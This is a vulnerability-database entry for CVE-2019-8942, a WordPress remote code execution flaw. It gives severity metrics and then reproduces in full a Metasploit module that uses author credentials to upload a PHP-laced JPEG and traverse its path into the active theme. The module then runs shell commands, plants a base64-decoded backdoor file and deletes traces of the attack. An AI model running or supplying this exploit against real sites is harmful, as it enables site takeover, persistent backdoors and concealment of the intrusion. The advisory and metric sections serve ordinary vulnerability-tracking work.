CVE-2019-8942 Detail

CVE-2019-8942

Score / Severity

8.8

High

CVE Descriptions

WordPress before 4.9.9 and 5.x before 5.0.1 allows remote code execution because an _wp_attached_file Post Meta entry can be changed to an arbitrary string, such as one ending with a .jpg?file.php substring. An attacker with author privileges can execute arbitrary code by uploading a crafted image containing PHP code in the Exif metadata. Exploitation can leverage CVE-2019-8943.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-434	Unrestricted Upload of File with Dangerous Type The product allows the upload or transfer of dangerous file types that are automatically processed within its environment.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V3.0	8.8	HIGH	CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Network A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers). Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. Low The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. None The vulnerable system can be exploited without interaction from any user. Base: Scope Metrics An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. Unchanged An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact Metrics The Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. High There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. High There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. High There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics	[email protected]
V2	6.5		AV:N/AC:L/Au:S/C:P/I:P/A:P	[email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 46662

Publication date : 2019-04-04 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super(update_info( info, 'Name' => 'WordPress Crop-image Shell Upload', 'Description' => %q{ This module exploits a path traversal and a local file inclusion vulnerability on WordPress versions 5.0.0 and <= 4.9.8. The crop-image function allows a user, with at least author privileges, to resize an image and perform a path traversal by changing the _wp_attached_file reference during the upload. The second part of the exploit will include this image in the current theme by changing the _wp_page_template attribute when creating a post. This exploit module only works for Unix-based systems currently. }, 'License' => MSF_LICENSE, 'Author' => [ 'RIPSTECH Technology', # Discovery 'Wilfried Becard <[email protected]>' # Metasploit module ], 'References' => [ [ 'CVE', '2019-8942' ], [ 'CVE', '2019-8943' ], [ 'URL', 'https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/'] ], 'DisclosureDate' => 'Feb 19 2019', 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [['WordPress', {}]], 'DefaultTarget' => 0 )) register_options( [ OptString.new('USERNAME', [true, 'The WordPress username to authenticate with']), OptString.new('PASSWORD', [true, 'The WordPress password to authenticate with']) ]) end def check cookie = wordpress_login(username, password) if cookie.nil? store_valid_credential(user: username, private: password, proof: cookie) return CheckCode::Safe end CheckCode::Appears end def username datastore['USERNAME'] end def password datastore['PASSWORD'] end def get_wpnonce(cookie) uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'media-new.php') res = send_request_cgi( 'method' => 'GET', 'uri' => uri, 'cookie' => cookie ) if res && res.code == 200 && res.body && !res.body.empty? res.get_hidden_inputs.first["_wpnonce"] end end def get_wpnonce2(image_id, cookie) uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post.php') res = send_request_cgi( 'method' => 'GET', 'uri' => uri, 'cookie' => cookie, 'vars_get' => { 'post' => image_id, 'action' => "edit" } ) if res && res.code == 200 && res.body && !res.body.empty? tmp = res.get_hidden_inputs wpnonce2 = tmp[1].first[1] end end def get_current_theme uri = normalize_uri(datastore['TARGETURI']) res = send_request_cgi!( 'method' => 'GET', 'uri' => uri ) fail_with(Failure::NotFound, 'Failed to access Wordpress page to retrieve theme.') unless res && res.code == 200 && res.body && !res.body.empty? theme = res.body.scan(/\/wp-content\/themes\/(\w+)\//).flatten.first fail_with(Failure::NotFound, 'Failed to retrieve theme') unless theme theme end def get_ajaxnonce(cookie) uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'admin-ajax.php') res = send_request_cgi( 'method' => 'POST', 'uri' => uri, 'cookie' => cookie, 'vars_post' => { 'action' => 'query-attachments', 'post_id' => '0', 'query[item]' => '43', 'query[orderby]' => 'date', 'query[order]' => 'DESC', 'query[posts_per_page]' => '40', 'query[paged]' => '1' } ) fail_with(Failure::NotFound, 'Unable to reach page to retrieve the ajax nonce') unless res && res.code == 200 && res.body && !res.body.empty? a_nonce = res.body.scan(/"edit":"(\w+)"/).flatten.first fail_with(Failure::NotFound, 'Unable to retrieve the ajax nonce') unless a_nonce a_nonce end def upload_file(img_name, wp_nonce, cookie) img_data = %w[ FF D8 FF E0 00 10 4A 46 49 46 00 01 01 01 00 60 00 60 00 00 FF ED 00 38 50 68 6F 74 6F 73 68 6F 70 20 33 2E 30 00 38 42 49 4D 04 04 00 00 00 00 00 1C 1C 02 74 00 10 3C 3F 3D 60 24 5F 47 45 54 5B 30 5D 60 3B 3F 3E 1C 02 00 00 02 00 04 FF FE 00 3B 43 52 45 41 54 4F 52 3A 20 67 64 2D 6A 70 65 67 20 76 31 2E 30 20 28 75 73 69 6E 67 20 49 4A 47 20 4A 50 45 47 20 76 38 30 29 2C 20 71 75 61 6C 69 74 79 20 3D 20 38 32 0A FF DB 00 43 00 06 04 04 05 04 04 06 05 05 05 06 06 06 07 09 0E 09 09 08 08 09 12 0D 0D 0A 0E 15 12 16 16 15 12 14 14 17 1A 21 1C 17 18 1F 19 14 14 1D 27 1D 1F 22 23 25 25 25 16 1C 29 2C 28 24 2B 21 24 25 24 FF DB 00 43 01 06 06 06 09 08 09 11 09 09 11 24 18 14 18 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 FF C0 00 11 08 00 C0 01 06 03 01 22 00 02 11 01 03 11 01 FF C4 00 1F 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0A 0B FF C4 00 B5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7D 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 A1 08 23 42 B1 C1 15 52 D1 F0 24 33 62 72 82 09 0A 16 17 18 19 1A 25 26 27 28 29 2A 34 35 36 37 38 39 3A 43 44 45 46 47 48 49 4A 53 54 55 56 57 58 59 5A 63 64 65 66 67 68 69 6A 73 74 75 76 77 78 79 7A 83 84 85 86 87 88 89 8A 92 93 94 95 96 97 98 99 9A A2 A3 A4 A5 A6 A7 A8 A9 AA B2 B3 B4 B5 B6 B7 B8 B9 BA C2 C3 C4 C5 C6 C7 C8 C9 CA D2 D3 D4 D5 D6 D7 D8 D9 DA E1 E2 E3 E4 E5 E6 E7 E8 E9 EA F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FF C4 00 1F 01 00 03 01 01 01 01 01 01 01 01 01 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0A 0B FF C4 00 B5 11 00 02 01 02 04 04 03 04 07 05 04 04 00 01 02 77 00 01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 A1 B1 C1 09 23 33 52 F0 15 62 72 D1 0A 16 24 34 E1 25 F1 17 18 19 1A 26 27 28 29 2A 35 36 37 38 39 3A 43 44 45 46 47 48 49 4A 53 54 55 56 57 58 59 5A 63 64 65 66 67 68 69 6A 73 74 75 76 77 78 79 7A 82 83 84 85 86 87 88 89 8A 92 93 94 95 96 97 98 99 9A A2 A3 A4 A5 A6 A7 A8 A9 AA B2 B3 B4 B5 B6 B7 B8 B9 BA C2 C3 C4 C5 C6 C7 C8 C9 CA D2 D3 D4 D5 D6 D7 D8 D9 DA E2 E3 E4 E5 E6 E7 E8 E9 EA F2 F3 F4 F5 F6 F7 F8 F9 FA FF DA 00 0C 03 01 00 02 11 03 11 00 3F 00 3C 3F 3D 60 24 5F 47 45 54 5B 30 5D 60 3B 3F 3E ] img_data = [img_data.join].pack('H*') img_name += '.jpg' boundary = "#{rand_text_alphanumeric(rand(10) + 5)}" post_data = "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"name\"\r\n" post_data << "\r\n#{img_name}\r\n" post_data << "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"action\"\r\n" post_data << "\r\nupload-attachment\r\n" post_data << "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"_wpnonce\"\r\n" post_data << "\r\n#{wp_nonce}\r\n" post_data << "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"async-upload\"; filename=\"#{img_name}\"\r\n" post_data << "Content-Type: image/jpeg\r\n" post_data << "\r\n#{img_data}\r\n" post_data << "--#{boundary}--\r\n" print_status("Uploading payload") upload_uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'async-upload.php') res = send_request_cgi( 'method' => 'POST', 'uri' => upload_uri, 'ctype' => "multipart/form-data; boundary=#{boundary}", 'data' => post_data, 'cookie' => cookie ) fail_with(Failure::UnexpectedReply, 'Unable to upload image') unless res && res.code == 200 && res.body && !res.body.empty? print_good("Image uploaded") res = JSON.parse(res.body) image_id = res["data"]["id"] update_nonce = res["data"]["nonces"]["update"] filename = res["data"]["filename"] return filename, image_id, update_nonce end def image_editor(img_name, ajax_nonce, image_id, cookie) uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'admin-ajax.php') res = send_request_cgi( 'method' => 'POST', 'uri' => uri, 'cookie' => cookie, 'vars_post' => { 'action' => 'image-editor', '_ajax_nonce' => ajax_nonce, 'postid' => image_id, 'history' => '[{"c":{"x":0,"y":0,"w":400,"h":300}}]', 'target' => 'all', 'context' => '', 'do' => 'save' } ) fail_with(Failure::NotFound, 'Unable to access page to retrieve filename') unless res && res.code == 200 && res.body && !res.body.empty? filename = res.body.scan(/(#{img_name}-\S+)-/).flatten.first fail_with(Failure::NotFound, 'Unable to retrieve file name') unless filename filename << '.jpg' end def change_path(wpnonce2, image_id, filename, current_date, path, cookie) uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post.php') res = send_request_cgi( 'method' => 'POST', 'uri' => uri, 'cookie' => cookie, 'vars_post' => { '_wpnonce' => wpnonce2, 'action' => 'editpost', 'post_ID' => image_id, 'meta_input[_wp_attached_file]' => "#{current_date}#{filename}#{path}" } ) end def crop_image(image_id, ajax_nonce, cookie) uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'admin-ajax.php') res = send_request_cgi( 'method' => 'POST', 'uri' => uri, 'cookie' => cookie, 'vars_post' => { 'action' => 'crop-image', '_ajax_nonce' => ajax_nonce, 'id' => image_id, 'cropDetails[x1]' => 0, 'cropDetails[y1]' => 0, 'cropDetails[width]' => 400, 'cropDetails[height]' => 300, 'cropDetails[dst_width]' => 400, 'cropDetails[dst_height]' => 300 } ) end def include_theme(shell_name, cookie) uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post-new.php') res = send_request_cgi( 'method' => 'POST', 'uri' => uri, 'cookie' => cookie ) if res && res.code == 200 && res.body && !res.body.empty? wpnonce2 = res.body.scan(/name="_wpnonce" value="(\w+)"/).flatten.first post_id = res.body.scan(/"post":{"id":(\w+),/).flatten.first fail_with(Failure::NotFound, 'Unable to retrieve the second wpnonce and the post id') unless wpnonce2 && post_id post_title = Rex::Text.rand_text_alpha(10) uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post.php') res = send_request_cgi( 'method' => 'POST', 'uri' => uri, 'cookie' => cookie, 'vars_post' => { '_wpnonce'=> wpnonce2, 'action' => 'editpost', 'post_ID' => post_id, 'post_title' => post_title, 'post_name' => post_title, 'meta_input[_wp_page_template]' => "cropped-#{shell_name}.jpg" } ) fail_with(Failure::NotFound, 'Failed to retrieve post id') unless res && res.code == 302 post_id end end def check_for_base64(cookie, post_id) uri = normalize_uri(datastore['TARGETURI']) # Test if base64 is on target test_string = 'YmFzZTY0c3BvdHRlZAo=' res = send_request_cgi!( 'method' => 'GET', 'uri' => uri, 'cookie' => cookie, 'vars_get' => { 'p' => post_id, '0' => "echo #{test_string} | base64 -d" } ) fail_with(Failure::NotFound, 'Unable to retrieve response to base64 command') unless res && res.code == 200 && !res.body.empty? fail_with(Failure::NotFound, "Can't find base64 decode on target") unless res.body.include?("base64spotted") # Execute payload with base64 decode @backdoor = Rex::Text.rand_text_alpha(10) encoded = Rex::Text.encode_base64(payload.encoded) res = send_request_cgi!( 'method' => 'GET', 'uri' => uri, 'cookie' => cookie, 'vars_get' => { 'p' => post_id, '0' => "echo #{encoded} | base64 -d > #{@backdoor}.php" } ) fail_with(Failure::NotFound, 'Failed to send payload to target') unless res && res.code == 200 && !res.body.empty? send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(datastore['TARGETURI'], "#{@backdoor}.php"), 'cookie' => cookie ) end def wp_cleanup(shell_name, post_id, cookie) print_status('Attempting to clean up files...') uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'admin-ajax.php') res = send_request_cgi( 'method' => 'POST', 'uri' => uri, 'cookie' => cookie, 'vars_post' => { 'action' => "query-attachments" } ) fail_with(Failure::NotFound, 'Failed to receive a response for uploaded file') unless res && res.code == 200 && !res.body.empty? infos = res.body.scan(/id":(\d+),.*filename":"cropped-#{shell_name}".*?"delete":"(\w+)".*"id":(\d+),.*filename":"cropped-x".*?"delete":"(\w+)".*"id":(\d+),.*filename":"#{shell_name}".*?"delete":"(\w+)"/).flatten id1, id2, id3 = infos[0], infos[2], infos[4] delete_nonce1, delete_nonce2, delete_nonce3 = infos[1], infos[3], infos[5] for i in (0...6).step(2) res = send_request_cgi( 'method' => 'POST', 'uri' => uri, 'cookie' => cookie, 'vars_post' => { 'action' => "delete-post", 'id' => infos[i], '_wpnonce' => infos[i+1] } ) end uri1 = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'edit.php') res = send_request_cgi( 'method' => 'GET', 'uri' => uri1, 'cookie' => cookie ) if res && res.code == 200 && res.body && !res.body.empty? post_nonce = res.body.scan(/post=#{post_id}&action=trash&_wpnonce=(\w+)/).flatten.first fail_with(Failure::NotFound, 'Unable to retrieve post nonce') unless post_nonce uri2 = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post.php') res = send_request_cgi( 'method' => 'GET', 'uri' => uri2, 'cookie' => cookie, 'vars_get' => { 'post' => post_id, 'action' => 'trash', '_wpnonce' => post_nonce } ) fail_with(Failure::NotFound, 'Unable to retrieve response') unless res && res.code == 302 res = send_request_cgi( 'method' => 'GET', 'uri' => uri1, 'cookie' => cookie, 'vars_get' => { 'post_status' => "trash", 'post_type' => 'post', '_wpnonce' => post_nonce } ) if res && res.code == 200 && res.body && !res.body.empty? nonce = res.body.scan(/post=#{post_id}&action=delete&_wpnonce=(\w+)/).flatten.first fail_with(Failure::NotFound, 'Unable to retrieve nonce') unless nonce send_request_cgi( 'method' => 'GET', 'uri' => uri2, 'cookie' => cookie, 'vars_get' => { 'post' => post_id, 'action' => 'delete', '_wpnonce' => nonce } ) end end end def exploit fail_with(Failure::NotFound, 'The target does not appear to be using WordPress') unless wordpress_and_online? print_status("Authenticating with WordPress using #{username}:#{password}...") cookie = wordpress_login(username, password) fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil? print_good("Authenticated with WordPress") store_valid_credential(user: username, private: password, proof: cookie) print_status("Preparing payload...") @current_theme = get_current_theme wp_nonce = get_wpnonce(cookie) @current_date = Time.now.strftime("%Y/%m/") img_name = Rex::Text.rand_text_alpha(10) @filename1, image_id, update_nonce = upload_file(img_name, wp_nonce, cookie) ajax_nonce = get_ajaxnonce(cookie) @filename1 = image_editor(img_name, ajax_nonce, image_id, cookie) wpnonce2 = get_wpnonce2(image_id, cookie) change_path(wpnonce2, image_id, @filename1, @current_date, '?/x', cookie) crop_image(image_id, ajax_nonce, cookie) @shell_name = Rex::Text.rand_text_alpha(10) change_path(wpnonce2, image_id, @filename1, @current_date, "?/../../../../themes/#{@current_theme}/#{@shell_name}", cookie) crop_image(image_id, ajax_nonce, cookie) print_status("Including into theme") post_id = include_theme(@shell_name, cookie) check_for_base64(cookie, post_id) wp_cleanup(@shell_name, post_id, cookie) end def on_new_session(client) client.shell_command_token("rm wp-content/uploads/#{@current_date}#{@filename1[0...10]}*") client.shell_command_token("rm wp-content/uploads/#{@current_date}cropped-#{@filename1[0...10]}*") client.shell_command_token("rm -r wp-content/uploads/#{@current_date}#{@filename1[0...10]}*") client.shell_command_token("rm wp-content/themes/#{@current_theme}/cropped-#{@shell_name}.jpg") client.shell_command_token("rm #{@backdoor}.php") end end

Exploit Database EDB-ID : 46511

Publication date : 2019-02-28 23h00 +00:00
Author : allyshka
EDB Verified : No